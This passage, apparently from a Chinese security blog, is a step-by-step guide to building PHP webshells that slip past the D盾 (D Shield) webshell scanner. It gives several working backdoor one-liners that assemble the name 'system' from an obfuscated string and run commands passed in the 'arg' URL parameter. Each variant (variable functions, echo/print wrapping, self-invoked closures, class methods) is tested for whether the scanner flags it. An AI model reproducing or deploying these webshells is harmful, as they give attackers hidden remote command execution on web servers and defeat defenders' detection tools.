前面是在$greet上做了一些改变,下面再去改一下$array['func']()
加上注释符
<?php $greet = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $array['func']=$greet; $array['func']/*5555*/();还是会爆出级别1的威胁
D盾应该也会去忽略注释的内容
回到之前的用echo 输出一下
<?php $greet = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $array['func']=$greet; echo ($array['func'])();这就绕过了D盾
和刚刚的使用变量名来接收一个匿名函数一样,都是因为可变函数的原因,阻碍了我们构造webshell,
验证一下把最后的调用可变函数这一步改成
$aa();$aa是一个没有任何值的变量,D盾同样会报级别1的威胁
根据$aa()这里,可以得出D盾没有去回溯$array['func']这个数组变量,因为如果D盾回溯了这个$aa()变量,会检测到这个$aa()是一个空的函数,没有定义。也就不会报错了
前面用的是echo,换成print同样可以绕过
print ($aa)(); 小结上面的绕过方式,总结一下,还是利用了echo ()() 这种方式绕过了D盾,估计D盾把echo 后面的内容当作了字符串,正常情况下eval($_POST['a']); 是直接报级别5的,但是加上了echo 之后,报的就是级别4,看来echo还有给D盾将一个风险级别的功能
深入绕过前面利用可变函数,其实就是为了调用构造的匿名函数,可以有两种绕过的方式
第一种:换一种调用匿名函数的方式
第二种:换掉匿名函数,比如上面直接使用了一个普通函数
接下来就去php官方文档上看了一下匿名函数的介绍,找到一个例子
https://www.php.net/manual/zh/functions.anonymous.php
直接调用匿名函数匿名函数还有一种表达方式,不用赋值,直接调用,仅在php7里可以调用
<?php (function($arg){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); })($_GET['arg']); ?>
类绕过
在面向过程的语言里,函数就叫函数,但在面向对象的语言里,函数还有另一种叫法,方法
通过构造一个类的方法,说不定就能绕过D盾的检测
类的方法
匿名函数可以放在方法的返回值中,构造一个方法来调用,这时候D盾把$b(),当作一个方法,从而绕过可变函数的检测
<?php class Test { public function testing() { return function() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; } } $a=new Test(); $b=$a->testing(); $b(); ?>可以绕过